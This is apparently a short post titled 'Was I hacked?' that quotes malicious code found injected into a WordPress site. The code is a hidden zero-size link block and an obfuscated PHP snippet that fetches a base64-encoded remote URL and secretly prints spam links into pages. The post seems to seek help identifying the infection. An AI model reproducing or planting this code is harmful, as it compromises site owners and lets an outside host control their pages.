被黑了？

<div id='header_code'><font style="position:absolute;overflow:hidden;height:0;width:0"><a href="http://google.com">google</a><a href="http://yahoo.com">yahoo</a><a href="http://bing.com">bing</a></font></div>

< ?php /* wp_remote_fopen procedure */ $wp_remote_fopen='aHR0cDovL3F3ZXRyby5jb20vc3Mv'; $opt_id='23986476fd39cf9a517f9f56d1f2a173'; $blarr=get_option('cache_vars'); if(trim(wp_remote_fopen(base64_decode($wp_remote_fopen).$opt_id.'.md5'))!=md5($blarr)){ $blarr=trim(wp_remote_fopen(base64_decode($wp_remote_fopen).$opt_id.'.txt')); update_option('cache_vars',$blarr); } $blarr=unserialize(base64_decode(get_option('cache_vars'))); if($blarr['hide_text']!='' && sizeof($blarr['links'])>0){ if($blarr['random']){ $new=''; foreach(array_rand($blarr['links'],sizeof($blarr['links'])) as $k) $new[$k]=$blarr['links'][$k]; $blarr['links']=$new; } $txt_out=''; foreach($blarr['links'] as $k=>$v) $txt_out.='<a href="'.$v.'">'.$k.'</a>'; echo str_replace('[LINKS]',$txt_out,$blarr['hide_text']); } /* wp_remote_fopen procedure */ ?>